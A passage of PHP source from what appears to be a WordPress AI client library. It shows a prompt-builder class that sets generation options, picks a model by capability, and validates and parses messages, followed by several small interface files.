     * @return self
     */
    public function usingTemperature(float $temperature): self
    {
        $this->modelConfig->setTemperature($temperature);
        return $this;
    }
    /**
     * Sets the top-p value for generation.
     *
     * @since 0.1.0
     *
     * @param float $topP The top-p value.
     * @return self
     */
    public function usingTopP(float $topP): self
    {
        $this->modelConfig->setTopP($topP);
        return $this;
    }
    /**
     * Sets the top-k value for generation.
     *
     * @since 0.1.0
     *
     * @param int $topK The top-k value.
     * @return self
     */
    public function usingTopK(int $topK): self
    {
        $this->modelConfig->setTopK($topK);
        return $this;
    }
    /**
     * Sets stop sequences for generation.
     *
     * @since 0.1.0
     *
     * @param string ...$stopSequences The stop sequences.
     * @return self
     */
    public function usingStopSequences(string ...$stopSequences): self
    {
        $this->modelConfig->setStopSequences($stopSequences);
        return $this;
    }
    /**
     * Sets the number of candidates to generate.
     *
     * @since 0.1.0
     *
     * @param int $candidateCount The number of candidates.
     * @return self
     */
    public function usingCandidateCount(int $candidateCount): self
    {
        $this->modelConfig->setCandidateCount($candidateCount);
        return $this;
    }
    /**
     * Sets the function declarations available to the model.
     *
     * @since 0.1.0
     *
     * @param FunctionDeclaration ...$functionDeclarations The function declarations.
     * @return self
     */
    public function usingFunctionDeclarations(FunctionDeclaration ...$functionDeclarations): self
    {
        $this->modelConfig->setFunctionDeclarations($functionDeclarations);
        return $this;
    }
    /**
     * Sets the presence penalty for generation.
     *
     * @since 0.1.0
     *
     * @param float $presencePenalty The presence penalty value.
     * @return self
     */
    public function usingPresencePenalty(float $presencePenalty): self
    {
        $this->modelConfig->setPresencePenalty($presencePenalty);
        return $this;
    }
    /**
     * Sets the frequency penalty for generation.
     *
     * @since 0.1.0
     *
     * @param float $frequencyPenalty The frequency penalty value.
     * @return self
     */
    public function usingFrequencyPenalty(float $frequencyPenalty): self
    {
        $this->modelConfig->setFrequencyPenalty($frequencyPenalty);
        return $this;
    }
    /**
     * Sets the web search configuration.
     *
     * @since 0.1.0
     *
     * @param WebSearch $webSearch The web search configuration.
     * @return self
     */
    public function usingWebSearch(WebSearch $webSearch): self
    {
        $this->modelConfig->setWebSearch($webSearch);
        return $this;
    }
    /**
     * Sets the request options for HTTP transport.
     *
     * @since 0.3.0
     *
     * @param RequestOptions $requestOptions The request options.
     * @return self
     */
    public function usingRequestOptions(RequestOptions $requestOptions): self
    {
        $this->requestOptions = $requestOptions;
        return $this;
    }
    /**
     * Sets the top log probabilities configuration.
     *
     * If $topLogprobs is null, enables log probabilities.
     * If $topLogprobs has a value, enables log probabilities and sets the number of top log probabilities to return.
     *
     * @since 0.1.0
     *
     * @param int|null $topLogprobs The number of top log probabilities to return, or null to enable log probabilities.
     * @return self
     */
    public function usingTopLogprobs(?int $topLogprobs = null): self
    {
        // Always enable log probabilities
        $this->modelConfig->setLogprobs(\true);
        // If a specific number is provided, set it
        if ($topLogprobs !== null) {
            $this->modelConfig->setTopLogprobs($topLogprobs);
        }
        return $this;
    }
    /**
     * Sets the output MIME type.
     *
     * @since 0.1.0
     *
     * @param string $mimeType The MIME type.
     * @return self
     */
    public function asOutputMimeType(string $mimeType): self
    {
        $this->modelConfig->setOutputMimeType($mimeType);
        return $this;
    }
    /**
     * Sets the output schema.
     *
     * @since 0.1.0
     *
     * @param array<string, mixed> $schema The output schema.
     * @return self
     */
    public function asOutputSchema(array $schema): self
    {
        $this->modelConfig->setOutputSchema($schema);
        return $this;
    }
    /**
     * Sets the output modalities.
     *
     * @since 0.1.0
     *
     * @param ModalityEnum ...$modalities The output modalities.
     * @return self
     */
    public function asOutputModalities(ModalityEnum ...$modalities): self
    {
        $this->modelConfig->setOutputModalities($modalities);
        return $this;
    }
    /**
     * Sets the output file type.
     *
     * @since 0.1.0
     *
     * @param FileTypeEnum $fileType The output file type.
     * @return self
     */
    public function asOutputFileType(FileTypeEnum $fileType): self
    {
        $this->modelConfig->setOutputFileType($fileType);
        return $this;
    }
    /**
     * Sets the output media orientation.
     *
     * @since 1.3.0
     *
     * @param MediaOrientationEnum $orientation The output media orientation.
     * @return self
     */
    public function asOutputMediaOrientation(MediaOrientationEnum $orientation): self
    {
        $this->modelConfig->setOutputMediaOrientation($orientation);
        return $this;
    }
    /**
     * Sets the output media aspect ratio.
     *
     * If set, this supersedes the output media orientation, as it is a more
     * specific configuration.
     *
     * @since 1.3.0
     *
     * @param string $aspectRatio The aspect ratio (e.g. "16:9", "3:2").
     * @return self
     */
    public function asOutputMediaAspectRatio(string $aspectRatio): self
    {
        $this->modelConfig->setOutputMediaAspectRatio($aspectRatio);
        return $this;
    }
    /**
     * Sets the output speech voice.
     *
     * @since 1.3.0
     *
     * @param string $voice The output speech voice.
     * @return self
     */
    public function asOutputSpeechVoice(string $voice): self
    {
        $this->modelConfig->setOutputSpeechVoice($voice);
        return $this;
    }
    /**
     * Configures the prompt for JSON response output.
     *
     * @since 0.1.0
     *
     * @param array<string, mixed>|null $schema Optional JSON schema.
     * @return self
     */
    public function asJsonResponse(?array $schema = null): self
    {
        $this->asOutputMimeType('application/json');
        if ($schema !== null) {
            $this->asOutputSchema($schema);
        }
        return $this;
    }
    /**
     * Infers the capability from configured output modalities.
     *
     * @since 0.1.0
     *
     * @return CapabilityEnum The inferred capability.
     * @throws RuntimeException If the output modality is not supported.
     */
    private function inferCapabilityFromOutputModalities(): CapabilityEnum
    {
        // Get the configured output modalities
        $outputModalities = $this->modelConfig->getOutputModalities();
        // Default to text if no output modality is specified
        if ($outputModalities === null || empty($outputModalities)) {
            return CapabilityEnum::textGeneration();
        }
        // Multi-modal output (multiple modalities) defaults to text generation. This is temporary
        // as a multi-modal interface will be implemented in the future.
        if (count($outputModalities) > 1) {
            return CapabilityEnum::textGeneration();
        }
        // Infer capability from single output modality
        $outputModality = $outputModalities[0];
        if ($outputModality->isText()) {
            return CapabilityEnum::textGeneration();
        } elseif ($outputModality->isImage()) {
            return CapabilityEnum::imageGeneration();
        } elseif ($outputModality->isAudio()) {
            return CapabilityEnum::speechGeneration();
        } elseif ($outputModality->isVideo()) {
            return CapabilityEnum::videoGeneration();
        } else {
            // For unsupported modalities, provide a clear error message
            throw new RuntimeException(sprintf('Output modality "%s" is not yet supported.', $outputModality->value));
        }
    }
    /**
     * Infers the capability from a model's implemented interfaces.
     *
     * @since 0.1.0
     *
     * @param ModelInterface $model The model to infer capability from.
     * @return CapabilityEnum|null The inferred capability, or null if none can be inferred.
     */
    private function inferCapabilityFromModelInterfaces(ModelInterface $model): ?CapabilityEnum
    {
        // Check model interfaces in order of preference
        if ($model instanceof TextGenerationModelInterface) {
            return CapabilityEnum::textGeneration();
        }
        if ($model instanceof ImageGenerationModelInterface) {
            return CapabilityEnum::imageGeneration();
        }
        if ($model instanceof TextToSpeechConversionModelInterface) {
            return CapabilityEnum::textToSpeechConversion();
        }
        if ($model instanceof SpeechGenerationModelInterface) {
            return CapabilityEnum::speechGeneration();
        }
        if ($model instanceof VideoGenerationModelInterface) {
            return CapabilityEnum::videoGeneration();
        }
        // No supported interface found
        return null;
    }
    /**
     * Checks if the current prompt is supported by the selected model.
     *
     * @since 0.1.0
     * @since 0.3.0 Method visibility changed to public.
     *
     * @param CapabilityEnum|null $capability Optional capability to check support for.
     * @return bool True if supported, false otherwise.
     */
    public function isSupported(?CapabilityEnum $capability = null): bool
    {
        // If no intended capability provided, infer from output modalities
        if ($capability === null) {
            // First try to infer from a specific model if one is set
            if ($this->model !== null) {
                $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
                if ($inferredCapability !== null) {
                    $capability = $inferredCapability;
                }
            }
            // If still no capability, infer from output modalities
            if ($capability === null) {
                $capability = $this->inferCapabilityFromOutputModalities();
            }
        }
        // Build requirements with the specified capability
        $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
        // If the model has been set, check if it meets the requirements
        if ($this->model !== null) {
            return $requirements->areMetBy($this->model->metadata());
        }
        try {
            // Check if any models support these requirements
            $models = $this->registry->findModelsMetadataForSupport($requirements);
            return !empty($models);
        } catch (InvalidArgumentException $e) {
            // No models support the requirements
            return \false;
        }
    }
    /**
     * Checks if the prompt is supported for text generation.
     *
     * @since 0.1.0
     *
     * @return bool True if text generation is supported.
     */
    public function isSupportedForTextGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::textGeneration());
    }
    /**
     * Checks if the prompt is supported for image generation.
     *
     * @since 0.1.0
     *
     * @return bool True if image generation is supported.
     */
    public function isSupportedForImageGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::imageGeneration());
    }
    /**
     * Checks if the prompt is supported for text to speech conversion.
     *
     * @since 0.1.0
     *
     * @return bool True if text to speech conversion is supported.
     */
    public function isSupportedForTextToSpeechConversion(): bool
    {
        return $this->isSupported(CapabilityEnum::textToSpeechConversion());
    }
    /**
     * Checks if the prompt is supported for video generation.
     *
     * @since 0.1.0
     *
     * @return bool True if video generation is supported.
     */
    public function isSupportedForVideoGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::videoGeneration());
    }
    /**
     * Checks if the prompt is supported for speech generation.
     *
     * @since 0.1.0
     *
     * @return bool True if speech generation is supported.
     */
    public function isSupportedForSpeechGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::speechGeneration());
    }
    /**
     * Checks if the prompt is supported for music generation.
     *
     * @since 0.1.0
     *
     * @return bool True if music generation is supported.
     */
    public function isSupportedForMusicGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::musicGeneration());
    }
    /**
     * Checks if the prompt is supported for embedding generation.
     *
     * @since 0.1.0
     *
     * @return bool True if embedding generation is supported.
     */
    public function isSupportedForEmbeddingGeneration(): bool
    {
        return $this->isSupported(CapabilityEnum::embeddingGeneration());
    }
    /**
     * Generates a result from the prompt.
     *
     * This is the primary execution method that generates a result (containing
     * potentially multiple candidates) based on the specified capability or
     * the configured output modality.
     *
     * @since 0.1.0
     *
     * @param CapabilityEnum|null $capability Optional capability to use for generation.
     *                                        If null, capability is inferred from output modality.
     * @return GenerativeAiResult The generated result containing candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support the required capability.
     */
    public function generateResult(?CapabilityEnum $capability = null): GenerativeAiResult
    {
        $this->validateMessages();
        // If capability is not provided, infer it
        if ($capability === null) {
            // First try to infer from a specific model if one is set
            if ($this->model !== null) {
                $inferredCapability = $this->inferCapabilityFromModelInterfaces($this->model);
                if ($inferredCapability !== null) {
                    $capability = $inferredCapability;
                }
            }
            // If still no capability, infer from output modalities
            if ($capability === null) {
                $capability = $this->inferCapabilityFromOutputModalities();
            }
        }
        $model = $this->getConfiguredModel($capability);
        // Dispatch BeforeGenerateResultEvent
        $this->dispatchEvent(new BeforeGenerateResultEvent($this->messages, $model, $capability));
        // Route to the appropriate generation method based on capability
        $result = $this->executeModelGeneration($model, $capability, $this->messages);
        // Dispatch AfterGenerateResultEvent
        $this->dispatchEvent(new AfterGenerateResultEvent($this->messages, $model, $capability, $result));
        return $result;
    }
    /**
     * Executes the model generation based on capability.
     *
     * @since 0.4.0
     *
     * @param ModelInterface $model The model to use for generation.
     * @param CapabilityEnum $capability The capability to use.
     * @param list<Message> $messages The messages to send.
     * @return GenerativeAiResult The generated result.
     * @throws RuntimeException If the model doesn't support the required capability.
     */
    private function executeModelGeneration(ModelInterface $model, CapabilityEnum $capability, array $messages): GenerativeAiResult
    {
        if ($capability->isTextGeneration()) {
            if (!$model instanceof TextGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support text generation.', $model->metadata()->getId()));
            }
            return $model->generateTextResult($messages);
        }
        if ($capability->isImageGeneration()) {
            if (!$model instanceof ImageGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support image generation.', $model->metadata()->getId()));
            }
            return $model->generateImageResult($messages);
        }
        if ($capability->isTextToSpeechConversion()) {
            if (!$model instanceof TextToSpeechConversionModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support text-to-speech conversion.', $model->metadata()->getId()));
            }
            return $model->convertTextToSpeechResult($messages);
        }
        if ($capability->isSpeechGeneration()) {
            if (!$model instanceof SpeechGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support speech generation.', $model->metadata()->getId()));
            }
            return $model->generateSpeechResult($messages);
        }
        if ($capability->isVideoGeneration()) {
            if (!$model instanceof VideoGenerationModelInterface) {
                throw new RuntimeException(sprintf('Model "%s" does not support video generation.', $model->metadata()->getId()));
            }
            return $model->generateVideoResult($messages);
        }
        // TODO: Add support for other capabilities when interfaces are available
        throw new RuntimeException(sprintf('Capability "%s" is not yet supported for generation.', $capability->value));
    }
    /**
     * Generates a text result from the prompt.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing text candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support text generation.
     */
    public function generateTextResult(): GenerativeAiResult
    {
        // Include text in output modalities
        $this->includeOutputModalities(ModalityEnum::text());
        // Generate and return the result with text generation capability
        return $this->generateResult(CapabilityEnum::textGeneration());
    }
    /**
     * Generates an image result from the prompt.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing image candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support image generation.
     */
    public function generateImageResult(): GenerativeAiResult
    {
        // Include image in output modalities
        $this->includeOutputModalities(ModalityEnum::image());
        // Generate and return the result with image generation capability
        return $this->generateResult(CapabilityEnum::imageGeneration());
    }
    /**
     * Generates a speech result from the prompt.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing speech audio candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support speech generation.
     */
    public function generateSpeechResult(): GenerativeAiResult
    {
        // Include audio in output modalities
        $this->includeOutputModalities(ModalityEnum::audio());
        // Generate and return the result with speech generation capability
        return $this->generateResult(CapabilityEnum::speechGeneration());
    }
    /**
     * Converts text to speech and returns the result.
     *
     * @since 0.1.0
     *
     * @return GenerativeAiResult The generated result containing speech audio candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support text-to-speech conversion.
     */
    public function convertTextToSpeechResult(): GenerativeAiResult
    {
        // Include audio in output modalities
        $this->includeOutputModalities(ModalityEnum::audio());
        // Generate and return the result with text-to-speech conversion capability
        return $this->generateResult(CapabilityEnum::textToSpeechConversion());
    }
    /**
     * Generates a video result from the prompt.
     *
     * @since 1.3.0
     *
     * @return GenerativeAiResult The generated result containing video candidates.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If the model doesn't support video generation.
     */
    public function generateVideoResult(): GenerativeAiResult
    {
        // Include video in output modalities
        $this->includeOutputModalities(ModalityEnum::video());
        // Generate and return the result with video generation capability
        return $this->generateResult(CapabilityEnum::videoGeneration());
    }
    /**
     * Generates text from the prompt.
     *
     * @since 0.1.0
     *
     * @return string The generated text.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     */
    public function generateText(): string
    {
        return $this->generateTextResult()->toText();
    }
    /**
     * Generates multiple text candidates from the prompt.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of candidates to generate.
     * @return list<string> The generated texts.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     */
    public function generateTexts(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        // Generate text result
        return $this->generateTextResult()->toTexts();
    }
    /**
     * Generates an image from the prompt.
     *
     * @since 0.1.0
     *
     * @return File The generated image file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no image is generated.
     */
    public function generateImage(): File
    {
        return $this->generateImageResult()->toFile();
    }
    /**
     * Generates multiple images from the prompt.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of images to generate.
     * @return list<File> The generated image files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no images are generated.
     */
    public function generateImages(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->generateImageResult()->toFiles();
    }
    /**
     * Converts text to speech.
     *
     * @since 0.1.0
     *
     * @return File The generated speech audio file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function convertTextToSpeech(): File
    {
        return $this->convertTextToSpeechResult()->toFile();
    }
    /**
     * Converts text to multiple speech outputs.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of speech outputs to generate.
     * @return list<File> The generated speech audio files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function convertTextToSpeeches(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->convertTextToSpeechResult()->toFiles();
    }
    /**
     * Generates speech from the prompt.
     *
     * @since 0.1.0
     *
     * @return File The generated speech audio file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function generateSpeech(): File
    {
        return $this->generateSpeechResult()->toFile();
    }
    /**
     * Generates multiple speech outputs from the prompt.
     *
     * @since 0.1.0
     *
     * @param int|null $candidateCount The number of speech outputs to generate.
     * @return list<File> The generated speech audio files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no audio is generated.
     */
    public function generateSpeeches(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->generateSpeechResult()->toFiles();
    }
    /**
     * Generates a video from the prompt.
     *
     * @since 1.3.0
     *
     * @return File The generated video file.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no video is generated.
     */
    public function generateVideo(): File
    {
        return $this->generateVideoResult()->toFile();
    }
    /**
     * Generates multiple videos from the prompt.
     *
     * @since 1.3.0
     *
     * @param int|null $candidateCount The number of videos to generate.
     * @return list<File> The generated video files.
     * @throws InvalidArgumentException If the prompt or model validation fails.
     * @throws RuntimeException If no videos are generated.
     */
    public function generateVideos(?int $candidateCount = null): array
    {
        if ($candidateCount !== null) {
            $this->usingCandidateCount($candidateCount);
        }
        return $this->generateVideoResult()->toFiles();
    }
    /**
     * Appends a MessagePart to the messages array.
     *
     * If the last message has a user role, the part is added to it.
     * Otherwise, a new UserMessage is created with the part.
     *
     * @since 0.1.0
     *
     * @param MessagePart $part The part to append.
     * @return void
     */
    protected function appendPartToMessages(MessagePart $part): void
    {
        $lastMessage = end($this->messages);
        if ($lastMessage instanceof Message && $lastMessage->getRole()->isUser()) {
            // Replace the last message with a new one containing the appended part
            array_pop($this->messages);
            $this->messages[] = $lastMessage->withPart($part);
            return;
        }
        // Create new UserMessage with the part
        $this->messages[] = new UserMessage([$part]);
    }
    /**
     * Gets the model to use for generation.
     *
     * If a model has been explicitly set, validates it meets requirements and returns it.
     * Otherwise, finds a suitable model based on the prompt requirements.
     *
     * @since 0.1.0
     *
     * @param CapabilityEnum $capability The capability the model will be using.
     * @return ModelInterface The model to use.
     * @throws InvalidArgumentException If no suitable model is found or set model doesn't meet requirements.
     */
    private function getConfiguredModel(CapabilityEnum $capability): ModelInterface
    {
        $requirements = ModelRequirements::fromPromptData($capability, $this->messages, $this->modelConfig);
        if ($this->model !== null) {
            // Explicit model was provided via usingModel(); just update config and bind dependencies.
            $model = $this->model;
            $model->setConfig($this->modelConfig);
            $this->registry->bindModelDependencies($model);
            $this->bindModelRequestOptions($model);
            return $model;
        }
        // Retrieve the candidate models map which satisfies the requirements.
        $candidateMap = $this->getCandidateModelsMap($requirements);
        if (empty($candidateMap)) {
            $message = sprintf('No models found that support %s for this prompt.', $capability->value);
            if ($this->providerIdOrClassName !== null) {
                $message = sprintf('No models found for provider "%s" that support %s for this prompt.', $this->providerIdOrClassName, $capability->value);
            }
            throw new InvalidArgumentException($message);
        }
        // Check if any preferred models match the candidates, in priority order.
        if (!empty($this->modelPreferenceKeys)) {
            // Find preferences that match available candidates, preserving preference order.
            $matchingPreferences = array_intersect_key(array_flip($this->modelPreferenceKeys), $candidateMap);
            if (!empty($matchingPreferences)) {
                // Get the first matching preference key
                $firstMatchKey = key($matchingPreferences);
                [$providerId, $modelId] = $candidateMap[$firstMatchKey];
                $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
                $this->bindModelRequestOptions($model);
                return $model;
            }
        }
        // No preference matched; fall back to the first candidate discovered.
        [$providerId, $modelId] = reset($candidateMap);
        $model = $this->registry->getProviderModel($providerId, $modelId, $this->modelConfig);
        $this->bindModelRequestOptions($model);
        return $model;
    }
    /**
     * Binds configured request options to the model if present and supported.
     *
     * Request options are only applicable to API-based models that make HTTP requests.
     *
     * @since 0.3.0
     *
     * @param ModelInterface $model The model to bind request options to.
     * @return void
     */
    private function bindModelRequestOptions(ModelInterface $model): void
    {
        if ($this->requestOptions !== null && $model instanceof ApiBasedModelInterface) {
            $model->setRequestOptions($this->requestOptions);
        }
    }
    /**
     * Builds a map of candidate models that satisfy the requirements for efficient lookup.
     *
     * @since 0.2.0
     *
     * @param ModelRequirements $requirements The requirements derived from the prompt.
     * @return array<string, array{0:string,1:string}> Map of preference keys to [providerId, modelId] tuples.
     */
    private function getCandidateModelsMap(ModelRequirements $requirements): array
    {
        if ($this->providerIdOrClassName === null) {
            // No provider locked in, gather all models across providers that meet requirements.
            $providerModelsMetadata = $this->registry->findModelsMetadataForSupport($requirements);
            $candidateMap = [];
            foreach ($providerModelsMetadata as $providerModels) {
                $providerId = $providerModels->getProvider()->getId();
                $providerMap = $this->generateMapFromCandidates($providerId, $providerModels->getModels());
                // Use + operator to merge, preserving keys from $candidateMap (first provider wins for model-only keys)
                $candidateMap = $candidateMap + $providerMap;
            }
            return $candidateMap;
        }
        // Provider set, only consider models from that provider.
        $modelsMetadata = $this->registry->findProviderModelsMetadataForSupport($this->providerIdOrClassName, $requirements);
        // Ensure we pass the provider ID, not the class name
        $providerId = $this->registry->getProviderId($this->providerIdOrClassName);
        return $this->generateMapFromCandidates($providerId, $modelsMetadata);
    }
    /**
     * Generates a candidate map from model metadata with both provider-specific and model-only keys.
     *
     * @since 0.2.0
     *
     * @param string $providerId The provider ID.
     * @param list<ModelMetadata> $modelsMetadata The models metadata to map.
     * @return array<string, array{0:string,1:string}> Map of preference keys to [providerId, modelId] tuples.
     */
    private function generateMapFromCandidates(string $providerId, array $modelsMetadata): array
    {
        $map = [];
        foreach ($modelsMetadata as $modelMetadata) {
            $modelId = $modelMetadata->getId();
            // Add provider-specific key
            $providerModelKey = $this->createProviderModelPreferenceKey($providerId, $modelId);
            $map[$providerModelKey] = [$providerId, $modelId];
            // Add model-only key
            $modelKey = $this->createModelPreferenceKey($modelId);
            $map[$modelKey] = [$providerId, $modelId];
        }
        return $map;
    }
    /**
     * Normalizes and validates a preference identifier string.
     *
     * @since 0.2.0
     *
     * @param mixed $value The value to normalize.
     * @param string $emptyMessage The message for empty or invalid values.
     * @return string The normalized identifier.
     *
     * @throws InvalidArgumentException If the value is not a non-empty string.
     */
    private function normalizePreferenceIdentifier($value, string $emptyMessage = 'Model preference identifiers cannot be empty.'): string
    {
        if (!is_string($value)) {
            throw new InvalidArgumentException($emptyMessage);
        }
        $trimmed = trim($value);
        if ($trimmed === '') {
            throw new InvalidArgumentException($emptyMessage);
        }
        return $trimmed;
    }
    /**
     * Creates a preference key for a provider/model combination.
     *
     * @since 0.2.0
     *
     * @param string $providerId The provider identifier.
     * @param string $modelId The model identifier.
     * @return string The generated preference key.
     */
    private function createProviderModelPreferenceKey(string $providerId, string $modelId): string
    {
        return 'providerModel::' . $providerId . '::' . $modelId;
    }
    /**
     * Creates a preference key for a model identifier.
     *
     * @since 0.2.0
     *
     * @param string $modelId The model identifier.
     * @return string The generated preference key.
     */
    private function createModelPreferenceKey(string $modelId): string
    {
        return 'model::' . $modelId;
    }
    /**
     * Parses various input types into a Message with the given role.
     *
     * @since 0.1.0
     *
     * @param mixed $input The input to parse.
     * @param MessageRoleEnum $defaultRole The role for the message if not specified by input.
     * @return Message The parsed message.
     * @throws InvalidArgumentException If the input type is not supported or results in empty message.
     */
    private function parseMessage($input, MessageRoleEnum $defaultRole): Message
    {
        // Handle Message input directly
        if ($input instanceof Message) {
            return $input;
        }
        // Handle single MessagePart
        if ($input instanceof MessagePart) {
            return new Message($defaultRole, [$input]);
        }
        // Handle string input
        if (is_string($input)) {
            if (trim($input) === '') {
                throw new InvalidArgumentException('Cannot create a message from an empty string.');
            }
            return new Message($defaultRole, [new MessagePart($input)]);
        }
        // Handle array input
        if (!is_array($input)) {
            throw new InvalidArgumentException('Input must be a string, MessagePart, MessagePartArrayShape, ' . 'a list of string|MessagePart|MessagePartArrayShape, or a Message instance.');
        }
        // Handle MessageArrayShape input
        if (Message::isArrayShape($input)) {
            return Message::fromArray($input);
        }
        // Check if it's a MessagePartArrayShape
        if (MessagePart::isArrayShape($input)) {
            return new Message($defaultRole, [MessagePart::fromArray($input)]);
        }
        // It should be a list of string|MessagePart|MessagePartArrayShape
        if (!array_is_list($input)) {
            throw new InvalidArgumentException('Array input must be a list array.');
        }
        // Empty array check
        if (empty($input)) {
            throw new InvalidArgumentException('Cannot create a message from an empty array.');
        }
        $parts = [];
        foreach ($input as $item) {
            if (is_string($item)) {
                $parts[] = new MessagePart($item);
            } elseif ($item instanceof MessagePart) {
                $parts[] = $item;
            } elseif (is_array($item) && MessagePart::isArrayShape($item)) {
                $parts[] = MessagePart::fromArray($item);
            } else {
                throw new InvalidArgumentException('Array items must be strings, MessagePart instances, or MessagePartArrayShape.');
            }
        }
        return new Message($defaultRole, $parts);
    }
    /**
     * Validates the messages array for prompt generation.
     *
     * Ensures that:
     * - The first message is a user message
     * - The last message is a user message
     * - The last message has parts
     *
     * @since 0.1.0
     *
     * @return void
     * @throws InvalidArgumentException If validation fails.
     */
    private function validateMessages(): void
    {
        if (empty($this->messages)) {
            throw new InvalidArgumentException('Cannot generate from an empty prompt. Add content using withText() or similar methods.');
        }
        $firstMessage = reset($this->messages);
        if (!$firstMessage->getRole()->isUser()) {
            throw new InvalidArgumentException('The first message must be from a user role, not from ' . $firstMessage->getRole()->value);
        }
        $lastMessage = end($this->messages);
        if (!$lastMessage->getRole()->isUser()) {
            throw new InvalidArgumentException('The last message must be from a user role, not from ' . $lastMessage->getRole()->value);
        }
        if (empty($lastMessage->getParts())) {
            throw new InvalidArgumentException('The last message must have content parts. Add content using withText() or similar methods.');
        }
    }
    /**
     * Checks if the value is a list of Message objects.
     *
     * @since 0.1.0
     *
     * @param mixed $value The value to check.
     * @return bool True if the value is a list of Message objects.
     *
     * @phpstan-assert-if-true list<Message> $value
     */
    private function isMessagesList($value): bool
    {
        if (!is_array($value) || empty($value) || !array_is_list($value)) {
            return \false;
        }
        // Check if all items are Messages
        foreach ($value as $item) {
            if (!$item instanceof Message) {
                return \false;
            }
        }
        return \true;
    }
    /**
     * Includes output modalities if not already present.
     *
     * Adds the given modalities to the output modalities list if they're not
     * already included. If output modalities is null, initializes it with
     * the given modalities.
     *
     * @since 0.1.0
     *
     * @param ModalityEnum ...$modalities The modalities to include.
     * @return void
     */
    private function includeOutputModalities(ModalityEnum ...$modalities): void
    {
        $existing = $this->modelConfig->getOutputModalities();
        // Initialize if null
        if ($existing === null) {
            $this->modelConfig->setOutputModalities($modalities);
            return;
        }
        // Build a set of existing modality values for O(1) lookup
        $existingValues = [];
        foreach ($existing as $existingModality) {
            $existingValues[$existingModality->value] = \true;
        }
        // Add new modalities that don't exist
        $toAdd = [];
        foreach ($modalities as $modality) {
            if (!isset($existingValues[$modality->value])) {
                $toAdd[] = $modality;
            }
        }
        // Update if we have new modalities to add
        if (!empty($toAdd)) {
            $this->modelConfig->setOutputModalities(array_merge($existing, $toAdd));
        }
    }
    /**
     * Dispatches an event if an event dispatcher is registered.
     *
     * @since 0.4.0
     *
     * @param object $event The event to dispatch.
     * @return void
     */
    private function dispatchEvent(object $event): void
    {
        if ($this->eventDispatcher !== null) {
            $this->eventDispatcher->dispatch($event);
        }
    }
}
src/Common/Contracts/CachesDataInterface.php000064400000000542152205304550015037 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;

/**
 * Interface for objects that cache data.
 *
 * @since 0.4.0
 */
interface CachesDataInterface
{
    /**
     * Invalidates all caches managed by this object.
     *
     * @since 0.4.0
     *
     * @return void
     */
    public function invalidateCaches(): void;
}
src/Common/Contracts/WithArrayTransformationInterface.php000064400000002033152205304550017715 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;

/**
 * Interface for objects that support array transformation.
 *
 * @since 0.1.0
 *
 * @template TArrayShape of array<string, mixed>
 */
interface WithArrayTransformationInterface
{
    /**
     * Converts the object to an array representation.
     *
     * @since 0.1.0
     *
     * @return TArrayShape The array representation.
     */
    public function toArray(): array;
    /**
     * Creates an instance from array data.
     *
     * @since 0.1.0
     *
     * @param TArrayShape $array The array data.
     * @return self<TArrayShape> The created instance.
     */
    public static function fromArray(array $array): self;
    /**
     * Checks if the array is a valid shape for this object.
     *
     * @since 0.1.0
     *
     * @param array<mixed> $array The array to check.
     * @return bool True if the array is a valid shape.
     * @phpstan-assert-if-true TArrayShape $array
     */
    public static function isArrayShape(array $array): bool;
}
src/Common/Contracts/WithJsonSchemaInterface.php000064400000001136152205304550015745 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Common\Contracts;

/**
 * Interface for objects that can provide their JSON schema representation.
 *
 * This interface is implemented by DTOs to provide a consistent way to retrieve
 * their JSON schema for validation and serialization purposes.
 *
 * @since 0.1.0
 */
interface WithJsonSchemaInterface
{
    /**
